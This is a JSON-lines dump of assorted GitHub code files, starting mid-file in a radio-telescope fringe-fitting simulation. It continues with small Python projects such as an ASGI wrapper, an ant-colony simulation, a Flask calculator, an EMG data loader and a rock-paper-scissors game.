self.func(*p)[0]\n res = res.reshape(self.sim.nfreq*self.sim.ntimes)\n return sum(res**2)\n\n def brute_tau(self,p0,tmin,tmax,tn):\n # finds tau with minimum sum squared error over specified range and number of points\n # specify p0 as initial fit result for other parameters\n if (tmax-tmin)/tmin > 10:\n tau = np.geomspace(tmin,tmax,tn) # logarthimic point spacing\n else:\n tau = np.linspace(tmin,tmax,tn) # linear point spacing\n for i,t in enumerate(tau):\n p = [t,*p0]\n err = self.sumsqrerr(p)\n if i is 0:\n minerr = err\n besttau = t\n else:\n if minerr > err:\n minerr = err\n besttau = t\n return besttau\n\n def fit_tau(self,x0):\n # find tau by brute force with narrowing search parameters\n tau1 = self.brute_tau(x0,1e-3,1e3,100) # wide search\n strtau = '%.2e'%(tau1)\n exp = int(strtau[5:])\n tau2 = self.brute_tau(x0,1*10**exp,1*10**(exp+1),500) # fine search\n return tau2\n\n def reducedata(self, factor, opt=None):\n # speeds up fitting by set factor by reducing simulated data by that amount\n # set opt to 'time' to reduce only in time or 'freq' to reduce only in freq\n # run gensim() afterwards to regenerate simulation\n if opt is 'time':\n self.sim.ntimes = int(self.sim.ntimes/factor)\n elif opt is 'freq':\n self.sim.nfreq = int(self.sim.nfreq/factor)\n else:\n self.sim.ntimes = int(self.sim.ntimes/factor)\n self.sim.nfreq = int(self.sim.nfreq/factor)\n \n def pererror(self, real, fit):\n # percent error of fit vs simulated parameters\n perr = np.zeros(len(real)+1)\n for i in range(len(real)):\n perr[i] = abs((real[i]-fit[i])/real[i])*100\n perr[len(real)] = np.mean(perr[0:len(real)])\n return perr\n \n def plotfit(self, fitparams, dish0=None, dish1=None):\n Rfit = self.func(*fitparams)\n plt.figure(figsize=(12,10))\n # Data\n ax1=plt.subplot(311)\n plt.imshow(self.R_data,cmap='jet',extent=(self.sim.fstart,self.sim.fstop,self.sim.tstop,self.sim.tstart),aspect='auto')\n plt.colorbar(pad=0)\n plt.clim(-1,1)\n plt.xticks([])\n plt.ylabel('\\\\textbf{UTC Time [Hr]}')\n if self.usesim is True: plt.title('\\\\textbf{Simulated Data + Noise}', loc='left')\n else: plt.title('\\\\textbf{Mean Filtered Data}', loc='left', fontsize='22')\n # Fit\n ax2=plt.subplot(312)\n plt.imshow((Rfit[0]),cmap='jet',extent=(self.sim.fstart,self.sim.fstop,self.sim.tstop,self.sim.tstart),aspect='auto')\n plt.colorbar(pad=0)\n plt.clim(-1,1)\n plt.xticks([])\n plt.ylabel('\\\\textbf{UTC Time [Hr]}')\n plt.title('\\\\textbf{Fit Result}', loc='left', fontsize='22')\n # Residuals\n ax2=plt.subplot(313)\n plt.imshow((self.R_data - Rfit[0]),cmap='jet',extent=(self.sim.fstart,self.sim.fstop,self.sim.tstop,self.sim.tstart),aspect='auto')\n plt.colorbar(pad=0)\n plt.clim(-1,1)\n plt.xlabel('\\\\textbf{Frequency [Hz]}')\n plt.ylabel('\\\\textbf{UTC Time [Hr]}')\n plt.title('\\\\textbf{Residual}', loc='left', fontsize='22')\n # Formatting\n plt.suptitle('\\\\textbf{Cygnus A Signal, %s, %s}'%(self.sim.tag, self.label))\n plt.tight_layout()\n plt.subplots_adjust(top=0.9, right=0.8, hspace=0.2)\n # Simulation Parameter table\n if self.usesim is True: \n plt.text(1.3,2.1,\n '\\\\textbf{Sim Params}\\n'\n '$A$ = 1.00\\n'\n '$b_x$ = %.2f m\\n'\n '$b_y$ = %.2f m\\n'\n '$\\\\tau$ = %.1e s\\n'\n '$\\sigma$ = %.1f deg\\n'\n '$p_{0\\\\theta}$ = %.1f deg\\n'\n '$p_{0\\\\phi}$ = %.1f deg\\n'\n '$p_{1\\\\theta}$ = %.1f deg\\n'\n '$p_{1\\\\phi}$ = %.1f deg'\n %((dish0.x-dish1.x)/u.m,\n (dish0.y-dish1.y)/u.m,\n (dish0.tau-dish1.tau)/u.s,\n dish0.sigma_d/u.deg,\n dish0.p_pol/u.deg,\n dish0.p_az/u.deg,\n dish1.p_pol/u.deg,\n dish1.p_az/u.deg),\n transform=ax2.transAxes,\n ha='center',\n va='center',\n bbox=dict(boxstyle='round',facecolor='none'))\n # Fit Parameter table\n plt.text(1.32,1,\n '\\\\textbf{Fit Params}\\n'\n '$A$ = %.2f\\n'\n '$b_x$ = %.2f m\\n'\n '$b_y$ = %.2f m\\n'\n '$\\\\tau$ = %.1e s\\n'\n '$\\sigma$ = %.1f deg\\n'\n '$p_{0\\\\theta}$ = %.1f deg\\n'\n '$p_{0\\\\phi}$ = %.1f deg\\n'\n '$p_{1\\\\theta}$ = %.1f deg\\n'\n '$p_{1\\\\phi}$ = %.1f deg'\n %(fitparams[1],\n fitparams[4], #b_x\n fitparams[5], #b_y\n fitparams[0]*1e-9, #tau\n fitparams[3], #sigma\n fitparams[2], #po_pol\n 90, #p0_az, p0 kept in E-W plane\n 0, #p1_pol, p1 kept at zero\n 0), #p1_az\n transform=ax2.transAxes,\n ha='center',\n va='center',\n bbox=dict(boxstyle='round',facecolor='none'))\n plt.savefig('plots/fit_test.png')\n \n \n \nclass BMXSim():\n\n def __init__(self, tag=None):\n # data window\n\t # define either by step or by number\n #self.tstep = 128.*33/1000/60/60 # 33ms * 128 average in hours\n self.ntimes = 640 \n self.tstart = 14.0\n self.tstop = 14.75\n\t #self.fstep = (1.5e9-1.1e9)/2048 # 2048 freq bins, bmx range\n self.nfreq = 1024\n self.fstart = 1.3e9\n self.fstop = 1.5e9\n # get tag info\n if tag is None: self.tag = '190301'\n else: self.tag = tag\n self.parsetag()\n # define telescope location\n self.location = EarthLocation(lat = 40.869951*u.deg, lon = -72.866072*u.deg, height = 20*u.m)\n # get telescope frame\n self.getframe()\t\n # get cygnus a\n self.getcyga()\n # get freq range\n self.getfreq()\n # define dishes\n self.de = Dish(x=5.,label='E') \n self.dw = Dish(x=-5.,label='W')\n self.dn = Dish(y=5.,label='N')\n self.ds = Dish(y=-5.,label='S')\n\n def parsetag(self):\n year = self.tag[0:2]\n month = self.tag[2:4]\n day = self.tag[4:6]\n self.time_str = '20%s-%s-%s 00:00:00' %(year,month,day)\n\n def getframe(self):\n utcoffset = -5 # EST\n midnight = Time(self.time_str) - utcoffset*u.hour\n # get time by range and N\n delta_midnight = np.linspace(self.tstart+utcoffset, self.tstop+utcoffset, self.ntimes)*u.hour\n # OR get time by range and step size\n #delta_midnight = np.arange(self.tstart+utcoffset, self.tstop+utcoffset, self.tstep)*u.hour\n\t #self.ntimes = delta_midnight.size \n self.times = midnight + delta_midnight\n self.frame = AltAz(obstime = self.times, location = self.location)\n\n def getcyga(self):\n self.cyga = SkyCoord.from_name('Cygnus A')\n self.cyga_altaz = self.cyga.transform_to(self.frame)\n alpha = 90.*u.deg - self.cyga_altaz.alt # define alpha -> angle from zenith\n self.cyga_alpha = alpha * (np.pi*u.rad)/(180*u.deg) # convert to radians\n # define unit vector s pointing to cygnus a\n s_x = np.sin(alpha)*np.sin(self.cyga_altaz.az) # +x-axis = east\n s_y = np.sin(alpha)*np.cos(self.cyga_altaz.az) # +y-axis = north\n s_z = np.cos(alpha)\n self.cyga_s = np.array((s_x, s_y, s_z))\n self.cyga_z = 0.056075 # redshift from wiki\n self.cyga_f = const.c/((1+self.cyga_z)*0.21*u.m) # observed frequency, 0.21 = 21cm emitted wavelength\n \n def getfreq(self):\n \t# define frequencies to sweep\n # by range and N\n self.freq = np.linspace(self.fstart, self.fstop, self.nfreq)/u.s\n # OR by range and step size\n \t#self.freq = np.arange(self.fstart, self.fstop, self.fstep)/u.s\n #self.nfreq = self.freq.size\n self.deltaf = self.freq[1]-self.freq[0]\n\n def correlate(self, dish0, dish1, freq, deltaf=None, b=None, v0=None, v1=None):\n # Gets correlated signal for a single frequency\n if b is None: b = dish0.pos - dish1.pos # vector between dish positions\n if v0 is None: v0 = dish0.signal(self.cyga_s) # gaussian envelope from dish 0\n if v1 is None: v1 = dish1.signal(self.cyga_s) # gaussian envelope from dish 1\n tau = dish0.tau - dish1.tau\n omega = 2*np.pi*freq\n bdots = np.dot(b,self.cyga_s)\n if deltaf is None: # single frequency case\n R = v0*v1*np.exp(1j*omega*(tau + bdots/const.c))\n else: # average over frequency bin freq +/- deltaf/2\n deltaomega = 2*np.pi*deltaf\n R = v0*v1*np.exp(1j*omega*(tau + bdots/const.c))*np.sinc(deltaomega/2*(tau + bdots/const.c))\n return R\n\n def simwf(self, dish0, dish1):\n # simulate waterfall plot\n b = dish0.pos - dish1.pos #vector between dish positions\n self.bmag = np.linalg.norm(b)*u.m\n v0 = dish0.signal(self.cyga_s) # gaussian envelope from dish 0\n v1 = dish1.signal(self.cyga_s) # gaussian envelope from dish 1\n # calculate response signals\n R = np.zeros((self.ntimes,self.nfreq),dtype=complex)\n for i,f in enumerate(self.freq): # get R for all frequencies\n R[:,i] = self.correlate(dish0, dish1, f, self.deltaf, b, v0, v1)\n self.R = np.array((R.real,R.imag)) # save real and imaginary R\n\n def plotwf(self,dish0,dish1,R = None):\n # plot simulated waterfall plot\n if R is None: R = self.R\n fig=plt.figure(figsize=(10,5))\n # Real part\n ax1=plt.subplot(211)\n plt.imshow(R[0].T,cmap='jet',extent=(self.fstart,self.fstop,self.tstop,self.tstart),aspect='auto')\n plt.colorbar(pad=0)\n plt.clim(-1,1)\n #plt.xscale('log')\n plt.xticks([])\n plt.ylabel('UTC Time [Hr]')\n plt.title('Real', loc='left')\n # Imaginary part\n ax2=plt.subplot(212)\n plt.imshow(R[1].T,cmap='jet',extent=(self.fstart,self.fstop,self.tstop,self.tstart),aspect='auto')\n plt.colorbar(pad=0)\n plt.clim(-1,1)\n #plt.xscale('log')\n plt.xlabel('Frequency [Hz]')\n plt.ylabel('UTC Time [Hr]')\n plt.title('Imaginary', loc='left')\n # Formatting\n plt.suptitle('Cygnus A Simulated Signal, %s'%(self.tag))\n plt.tight_layout()\n plt.subplots_adjust(top=0.92, right=0.9,hspace=0.15)\n # Parameter table\n plt.text(1.1955555,1.1,\n '%s $\\\\times$ %s\\n'\n '$b_%s$ = (%.1f, %.1f) m\\n'\n '$b_%s$ = (%.1f, %.1f) m\\n'\n '$\\\\tau$ = %.1e s\\n'\n '$\\sigma$ = %s\\n'\n '$p_%s$ = (%s, %s) deg\\n'\n '$p_%s$ = (%s, %s) deg'\n %(dish0.label,dish1.label,\n dish0.label,dish0.x,dish0.y,\n dish1.label,dish1.x,dish1.y,\n (dish0.tau-dish1.tau)/u.s,\n str(dish0.sigma_d),\n dish0.label,str(dish0.p_pol/u.deg),str(dish0.p_az/u.deg),\n dish1.label,str(dish1.p_pol/u.deg),str(dish1.p_az/u.deg)), \n transform=ax2.transAxes,\n fontsize=12,\n ha='center',\n va='center',\n bbox=dict(boxstyle='round',facecolor='none'))\n\n def addnoise(self):\n # adds random noise to R simulation\n Rn_real = self.R[0] + np.random.normal(0,0.05,(self.nfreq,self.ntimes))\n Rn_imag = self.R[1] + np.random.normal(0,0.05,(self.nfreq,self.ntimes))\n self.R_noise = np.array((Rn_real,Rn_imag))\n\n\n\n\nclass Dish():\n def __init__(self, x=0., y=0., z=0.,label=''):\n # position coordinates in meters (from bmx center/tower)\n self.x = x\n self.y = y\n self.z = z\n self.pos = np.array((self.x, self.y, self.z))*u.m\n # label\n self.label = label\n # pointing error\n self.p_pol = 0.*u.deg # polar angle from zenith\n self.p_az = 0.*u.deg # azimuthal angle from north (+y)\n self.p = np.array((np.sin(self.p_pol)*np.sin(self.p_az),\n np.sin(self.p_pol)*np.cos(self.p_az),\n np.cos(self.p_pol))) # unit vector p\n # beam width, circular dish\n self.sigma_d = 2.5*u.deg\n self.sigma = self.sigma_d * (np.pi)/(180*u.deg) # convert to radians\n # signal time delay (cable len, digitizer, etc.)\n self.tau = 0.*u.s\n\n def update_pos(self):\n self.pos = np.array((self.x, self.y, self.z))*u.m\n\n def update_p(self):\n self.p = np.array((np.sin(self.p_pol)*np.sin(self.p_az),\n np.sin(self.p_pol)*np.cos(self.p_az),\n np.cos(self.p_pol)))\n \n def update_sigma(self):\n self.sigma = self.sigma_d * (np.pi)/(180*u.deg) # convert to radians\n\n def signal(self, cyga_s):\n # returns gaussian signal from source at angle alpha from zenith\n V0 = 1. # norm amplitude\n sig = np.zeros(cyga_s.shape[1])\n for i in range(cyga_s.shape[1]):\n sig[i] = V0*np.exp(-np.dot(cyga_s[:,i]-self.p,cyga_s[:,i]-self.p) / (2*self.sigma**2))\n return sig\n\n\n\n\n\n","repo_name":"bmxdemo/bmxproject","sub_path":"fringefitting/fringefit.py","file_name":"fringefit.py","file_ext":"py","file_size_in_byte":18832,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"78"} +{"seq_id":"70575083452","text":"import math\n\nsqrt5 = math.sqrt(5)\n\nF1 = lambda n: int(round((((1+sqrt5)/2)**n-((1-sqrt5)/2)**n)/sqrt5))\n\ndef F2(n):\n F = [0]*(n+2)\n F[0] = 0\n F[1] = 1\n for x in xrange(2,n+1):\n F[x] = F[x-1]+F[x-2]\n return F[n]\n\nn = int(open(\"fiblong.in\").readline())\nopen(\"fiblong.out\", \"w\").write(str(F2(n)))\n","repo_name":"AVBelyy/LisiyNos","sub_path":"29.10-03.11.2012/Intellect/Day1/fiblong.py","file_name":"fiblong.py","file_ext":"py","file_size_in_byte":316,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"71925514812","text":"class AsgiConnection(object):\n\n def __init__(self, scope, send, receive):\n self.scope = scope\n self.send = send\n self.receive = receive\n\n\nclass AsgiHttpConnection(AsgiConnection):\n \"\"\"\n Connection intended to receive a single HTTP request and send a single HTTP Response.\n\n Headers will be sent automatically the first time data is sent.\n \"\"\"\n def __init__(self, scope, receive, send):\n self.scope = scope\n self.send = self._wrap_send(send)\n self.receive = self._wrap_receive(receive)\n self._headers_sent = False\n\n def _wrap_receive(self, receive):\n\n async def receive_imposter():\n body = b''\n more_body = True\n\n while more_body:\n message = await receive()\n receive()\n body += message.get('body', b'')\n more_body = message.get('more_body', False)\n\n return body\n\n return receive_imposter\n\n def _wrap_send(self, send):\n\n async def send_imposter(value):\n if not self._headers_sent:\n await send({\n 'type': 'http.response.start',\n 'status': 200,\n 'headers': [\n [b'Content-Type', b'application/json'],\n ]\n })\n self._headers_sent = True\n\n return await send({\n 'type': 'http.response.body',\n 'body': value.encode('utf-8')\n })\n\n return send_imposter\n\n","repo_name":"landreville/asynner","sub_path":"asynner/rbow/connection.py","file_name":"connection.py","file_ext":"py","file_size_in_byte":1554,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"27889999994","text":"# CS 303E Quiz 5C\n# do NOT rename this file, otherwise Gradescope will not accept your submission\n# also, do NOT change any of the function names or parameters\n\n# Problem 1: Nearby Scores\ndef nearbyScores(matrix, row, col):\n ns = 0\n p1 = abs(matrix[row-1][col-1]-matrix[row][col])\n p2 = abs(matrix[row-1][col+1]-matrix[row][col])\n p3 = abs(matrix[row-1][col]-matrix[row][col])\n p4 = abs(matrix[row][col-1]-matrix[row][col])\n p5 = abs(matrix[row][col+1]-matrix[row][col])\n p6 = abs(matrix[row+1][col-1]-matrix[row][col])\n p7 = abs(matrix[row+1][col+1]-matrix[row][col])\n p8 = abs(matrix[row+1][col]-matrix[row][col])\n\n if p1 <= 5:\n ns = ns + 1\n\n if p2 <= 5:\n ns = ns + 1\n\n if p3 <= 5:\n ns = ns + 1\n\n if p4 <= 5:\n ns = ns + 1\n\n if p5 <= 5:\n ns = ns + 1\n\n if p6 <= 5:\n ns = ns + 1\n\n if p7 <= 5:\n ns = ns + 1\n\n if p8 <= 5:\n ns = ns + 1\n\n return ns\n\n\n# Problem 2: First Vowel Locations\ndef firstVowelLocations(strings):\n vowels = [\"a\", \"e\", \"i\", \"o\", \"u\", \"A\", \"E\", \"I\", \"O\", \"U\"]\n l = 0\n d = {}\n for j in strings:\n l = 0\n for i in j:\n if i in vowels:\n d[j] = l\n break\n l = l + 1\n if l == len(strings):\n d[j] = -1\n return d\n\n\nif __name__ == '__main__':\n # uncomment the following lines to run the given test cases\n # note that the output will look slightly different\n # due to how the expected output is formatted\n\n # grid = [[100, 100, 97, 95, 77, 85, 82, 80, 95], [77, 57, 90, 84, 93, 100, 80, 74, 92], [70, 86, 82, 84, 64, 87, 100, 90, 97], [79, 77, 95, 80, 99, 81, 76, 68, 96], [66, 79, 73, 78, 87, 100, 78, 82, 81], [78, 85, 87, 80, 100, 90, 85, 88, 95], [75, 86, 75, 73, 76, 100, 100, 79, 85], [85, 70, 98, 73, 94, 84, 100, 92, 84], [85, 79, 76, 92, 85, 69, 78, 83, 88]]\n # print(nearbyScores(grid, 1, 2))\n # print(nearbyScores(grid, 7, 1))\n # grid2 = [[90, 87, 92, 77], [83, 94, 93, 100], [77, 81, 79, 89]]\n # print(nearbyScores(grid2, 1, 1))\n\n # print(firstVowelLocations({'apple', 'pteradactyl', 'bcdfghjklmnpqrstvwxyz'}))\n # print(firstVowelLocations({'GDC', 'ABC', '1two3four'}))\n # print(firstVowelLocations(set()))\n\n # DO NOT DELETE THIS PASS\n pass\n # DON'T DO IT","repo_name":"cesarga-m/Showcase-Portfolio","sub_path":"Coding/Python/CS 303E/Quiz5C.py","file_name":"Quiz5C.py","file_ext":"py","file_size_in_byte":2330,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"71577673533","text":"import os\nfrom src.tools.test import findKernel, findData\nfrom src.tools.utils import create_dir\nfrom src.data.kernelLoader import save\nfrom src.data.dataset import KFold\n\n\ndef cartesian_prods(paramsS):\n pools = []\n for params in paramsS:\n for key, vallist in params.items():\n pools.append([(key, val) for val in vallist])\n \n result = [[]]\n for pool in pools:\n result = [x+[y] for x in result for y in pool]\n \n paramsF = []\n for res in result:\n paramsF.append(dict(res))\n return paramsF\n\n\nKFOLDS = 4\nDATA = \"allseq\"\nORIGIN = \"computed\"\n\n\n# dparams = {\"small\": True, \"nsmall\": 10}\n\nDatasets = findData(DATA)() # dparams)\nndatas = len(Datasets)\n\n\nKERNEL = \"spectral\"\n# {\"k\": 5, \"m\": 1, 'la': 1, \"trie\": False}\n\n# paramsS = [{\"k\": [6, 7, 8, 9, 10], \"m\": [1, 2, 3], \"la\": [0.]}]\nparamsS = [{\"k\": [6, 7, 8]}]\nparamsS = cartesian_prods(paramsS)\nKernel = findKernel(KERNEL)\n\n\nfor i, Dataset in enumerate(Datasets):\n pathDataset = os.path.join(ORIGIN, \"dataset_\" + str(i))\n train = Dataset[\"train\"]\n folds = KFold(train, KFOLDS, verbose=False)\n for j in range(KFOLDS):\n pathFold = os.path.join(pathDataset, \"fold_\" + str(j))\n train, val = folds[j]\n pathKernel = os.path.join(pathFold, KERNEL)\n for params in paramsS:\n kernel = Kernel(train, parameters=params, verbose=False)\n _ = kernel.KC\n path = kernel.param.topath(pathKernel)\n save(kernel, path=kernel.param.topath(pathKernel))\n","repo_name":"evrardgarcelon/kernel_methods_project","sub_path":"src/kernels/computeKernel.py","file_name":"computeKernel.py","file_ext":"py","file_size_in_byte":1534,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"23637844492","text":"\"\"\" Reshape the rows and columns of given matrix at same row-traversing order.\"\"\"\r\ndef ReshapeMatrix(nums,r,c):\r\n temp = []\r\n #r, c = 0, 0\r\n for n in nums:\r\n temp += n\r\n reshape = []\r\n if r * c == len(temp):\r\n for j in range(0, len(temp),c):\r\n reshape.append(temp[j:j+c])\r\n return reshape\r\n\r\ndef reshapematrix(nums, r, c):\r\n row, col = len(nums), len(nums[0])\r\n #r, c = 0, 0\r\n temp = []\r\n reshape = [[]]\r\n for n in nums:\r\n temp += n\r\n if row * col != r *c:\r\n return nums\r\n else:\r\n for i in range(row):\r\n for j in range(col):\r\n if len(reshape[-1]) ==c:\r\n reshape.append([])\r\n reshape[-1].append(nums[i][j])\r\n return reshape\r\n","repo_name":"AmberJing88/algorithm-datastructure","sub_path":"Array/arrayreview566.py","file_name":"arrayreview566.py","file_ext":"py","file_size_in_byte":780,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"2705278487","text":"import cv2\r\nimport numpy as np\r\n\r\nfrom picture import Map\r\nfrom fourmis import Fourmis\r\nfrom phéromona import Pheromona\r\n\r\nclass Main:\r\n\r\n def __init__(self): \r\n\r\n self.nb_fourmis = 10\r\n\r\n self.constructor_map = Map()\r\n self.pheromone = Pheromona(self.nb_fourmis)\r\n\r\n self.pause = 0\r\n\r\n\r\n def drawing_on_picture(self):\r\n \"\"\"Generate pictures & draw on.\"\"\"\r\n\r\n # Create picture.\r\n search_recompense_picture = self.constructor_map.create_picture()\r\n serach_home_picture = self.constructor_map.create_picture()\r\n\r\n # Generate walls.\r\n self.constructor_map.draw_wall(search_recompense_picture)\r\n self.constructor_map.draw_wall(serach_home_picture)\r\n\r\n # Generate cases.\r\n self.constructor_map.draw_case(search_recompense_picture)\r\n self.constructor_map.draw_case(serach_home_picture)\r\n\r\n return search_recompense_picture, serach_home_picture\r\n\r\n\r\n def recuperate_case_score(self):\r\n \"\"\"Scoring case\"\"\"\r\n\r\n # Case score recompense.\r\n dico_score = self.pheromone.getter_dico_pheromone()\r\n # Road ant.\r\n dico_roads = self.pheromone.getter_roads_fourmise()\r\n\r\n # Case score home.\r\n dico_score_reverse = self.pheromone.getter_dico_pheromone_reverse()\r\n dico_roads_reverse = self.pheromone.getter_roads_fourmise_reverse()\r\n\r\n return dico_score, dico_roads, dico_score_reverse, dico_roads_reverse\r\n\r\n\r\n def movement_of_ants(self, dico_score, dico_roads, dico_score_reverse, dico_roads_reverse):\r\n \"\"\"Ants movements\"\"\"\r\n\r\n # Movement random or choiced.\r\n move_fourmis = [fourmis.move(dico_score, dico_roads[nb], dico_score_reverse, dico_roads_reverse[nb]) \r\n for nb, fourmis in enumerate(self.fourmis)]\r\n\r\n # Update position.\r\n [fourmis.setter_position(movement) for (movement, fourmis) in zip(move_fourmis, self.fourmis)]\r\n\r\n return move_fourmis\r\n\r\n\r\n def descoring(self):\r\n self.pheromone.remove_trace()\r\n self.pheromone.remove_trace_reverse()\r\n self.pheromone.descore_case()\r\n\r\n\r\n def displaying_data(self, picture, home):\r\n [fourmis.blit_fourmis(picture) for fourmis in self.fourmis]\r\n [fourmis.blit_fourmis(home) for fourmis in self.fourmis]\r\n self.pheromone.pheromone_road(picture)\r\n self.pheromone.scoring_case(picture)\r\n self.pheromone.pheromone_road_reverse(home)\r\n self.pheromone.scoring_case_reverse(home)\r\n\r\n\r\n def display_picture(self, recompense, home):\r\n \"\"\"Display picture\"\"\"\r\n\r\n # Pictures + labels.\r\n data = [(\"recompense\", recompense), (\"home\", home)]\r\n\r\n # Displaying.\r\n [cv2.imshow(label, picture) for (label, picture) in data]\r\n if cv2.waitKey(self.pause) & 0xFF == ord('a'):\r\n # 0 -> click for the next picture, 1 -> automatic frame to frame.\r\n self.pause = 0 if self.pause == 1 else 1\r\n\r\n\r\n def main(self):\r\n\r\n # Create Ants.\r\n self.fourmis = [Fourmis() for _ in range(self.nb_fourmis)]\r\n\r\n\r\n while True:\r\n\r\n\r\n # Generate pictures.\r\n picture, home = self.drawing_on_picture()\r\n\r\n # Environement scores.\r\n dico_score, dico_roads, dico_score_reverse, dico_roads_reverse = self.recuperate_case_score()\r\n\r\n # Ant has found recompense, go to home.\r\n recompense = [fourmis.fourmis_has_found_recompense() for fourmis in self.fourmis]\r\n\r\n # Movement of ants.\r\n move_fourmis = self.movement_of_ants(dico_score, dico_roads, dico_score_reverse, dico_roads_reverse)\r\n\r\n\r\n # ---------------------------------------------------------------------\r\n self.pheromone.scoring_case_dico(move_fourmis, recompense)\r\n self.pheromone.setter_dico_pheromone(move_fourmis, recompense)\r\n\r\n\r\n #\r\n self.descoring()\r\n\r\n # Draw Ant + scores + roads.\r\n self.displaying_data(picture, home)\r\n\r\n # Displaying picture.\r\n self.display_picture(picture, home)\r\n\r\n\r\n\r\n\r\n\r\n\r\nif __name__ == \"__main__\":\r\n\r\n game = Main()\r\n game.main()\r\n","repo_name":"monGithubPerso/Ant-road","sub_path":"fourmis/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4205,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"42051510506","text":"from flask import Flask,request,render_template,jsonify\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef welcome():\n return render_template(\"index.html\")\n\n@app.route(\"/\",methods=[\"POST\"])\ndef math_opretion():\n operation = request.form.get(\"Operation\")\n n1 = request.form.get(\"Number1\")\n n2 = request.form.get(\"Number2\")\n \n if operation==\"Addition\":\n result = int(n1)+int(n2)\n elif operation==\"Subtraction\":\n result = int(n1)-int(n2)\n elif operation==\"Multiplication\":\n result = int(n1)*int(n2)\n elif operation==\"Division\":\n result = int(n1)/int(n2)\n \n return render_template(\"index.html\", result=result)\n\n\nif __name__==\"__main__\":\n app.run(debug=True)","repo_name":"mkumawat1307/cal_flask","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":713,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"10901802708","text":"import scipy.io\nimport numpy as np\nfrom tqdm import tqdm\n\nclass ICE_lab_data_preprocessing:\n \n def load_from_mat(self,fileAddress):\n \"\"\"\n Load data from a MATLAB file.\n\n Args:\n fileAddress (str): The address of the MATLAB file.\n\n Returns:\n numpy.ndarray: The data stored under the key 'Data' in the MATLAB file.\n \"\"\"\n return scipy.io.loadmat(fileAddress)['Data']\n\n def extra_data(self,fileAddress):\n \"\"\"\n Load and concatenate data from multiple MATLAB files, generating corresponding labels.\n\n Args:\n fileAddress (str): The address of the directory containing the MATLAB files.\n\n Returns:\n tuple: A tuple containing two numpy.ndarrays. The first element is the concatenated data,\n and the second element is the corresponding labels. The third element is the number of classes\n \"\"\"\n data = None\n label = None\n num_class = 8\n for gest in tqdm(range(1,num_class + 1,1),desc=\"Processing Files\"):\n for i in tqdm(range(1,6),desc=\"Processing Files\"):\n if data is None:\n data = self.load_from_mat(f\"{fileAddress}/001-00{gest}-00{i}.mat\")\n if data.shape[1] == 193:\n data = data[:,:-1]\n label = np.repeat(gest-1,data.shape[0])\n \n else:\n temp = self.load_from_mat(f\"{fileAddress}/001-00{gest}-00{i}.mat\")\n if temp.shape[1] == 193:\n temp = temp[:,:-1]\n data = np.concatenate((data,temp),axis=0)\n label = np.concatenate((label,np.repeat(gest-1,temp.shape[0])),axis=0)\n return data,label,num_class\n\n def NormalizeData(self,data):\n data = (data - data.mean())/(data.std())\n return data","repo_name":"MIC-Laboratory/CNN-HD-sEMG-Classifier","sub_path":"utils/ICE_lab_data_preprocessing.py","file_name":"ICE_lab_data_preprocessing.py","file_ext":"py","file_size_in_byte":1909,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"43882628468","text":"import random\n\nprint(\"==========================================================\")\nprint(\"=============== Rock Scissors Paper Game =================\")\nprint(\"==========================================================\\n\")\n\n\nchoice = [\"rock\", \"scissors\", \"paper\"]\n\n\ndef number_player():\n while True:\n num_player = int(input(\"Please enter number of players. ex) 1, 2 : \"))\n if num_player in [1, 2]:\n return num_player\n else:\n print(\"Select between 1 and 2\")\n\n\ndef scoreboard():\n while True:\n rounds = int(input(\"Select how many times to play. ex) 1, 3, 10... : \"))\n if rounds >= 1:\n return rounds\n else:\n print(\"Enter a number greater than 0.\")\n\n\ndef single_player():\n player1 = input(\"Select rock, scissors, paper : \")\n player2 = choice[random.randint(0, 2)]\n print(f\"Player choosed '{player1}', computer choosed '{player2}'.\")\n return player1, player2\n\n\ndef double_player():\n player1 = input(\"**Player1** Select rock, scissors, paper : \")\n player2 = input(\"**Player2** Select rock, scissors, paper : \")\n print(f\"Player1 choosed '{player1}', player2 choosed '{player2}'.\")\n return player1, player2\n\n\ndef play(rounds, num_player):\n score_player1 = score_player2 = 0\n\n for i in range(rounds):\n if num_player == 1:\n player1, player2 = single_player()\n else:\n player1, player2 = double_player()\n\n if player1 == \"scissors\":\n if player2 == \"rock\":\n print(\"player2 win\")\n score_player2 += 1\n elif player2 == \"paper\":\n print(\"User win\")\n score_player1 += 1\n else:\n print(\"Draw\")\n\n print(score_player1, score_player2)\n\n elif player1 == \"rock\":\n if player2 == \"paper\":\n print(\"Computer win.\")\n score_player2 += 1\n elif player2 == \"scissors\":\n print(\"Player win\")\n score_player1 += 1\n else:\n print(\"Draw\")\n\n print(score_player1, score_player2)\n\n else:\n if player2 == \"scissors\":\n print(\"Computer win\")\n score_player2 += 1\n elif player2 == \"rock\":\n print(\"Player win\")\n score_player1 += 1\n else:\n print(\"Draw\")\n\n print(score_player1, score_player2)\n\n print(f\"Player : {score_player1}, Computer : {score_player2}\")\n\n\nnum_player = number_player()\nprint(num_player)\nrounds = scoreboard()\nprint(rounds)\nplay(rounds, num_player)\n","repo_name":"hoyunchoi/refactoring-rock-scissors-paper","sub_path":"1.format_english.py","file_name":"1.format_english.py","file_ext":"py","file_size_in_byte":2649,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"12501502605","text":"import os\nCSRF_ENABLED = True\nDEBUG = True\nSERVER = 'http://localhost:8000'\nTRAP_BAD_REQUEST_ERRORS = True\nTRAP_HTTP_EXCEPTIONS = True\nSQLALCHEMY_ECHO = True\nSQLALCHEMY_DATABASE_URI = 'mysql+mysqldb://quantel@tongariro-i7/jira_customers?charset=utf8' # noqa\n\n# Generate a random secret key\nSECRET_KEY = 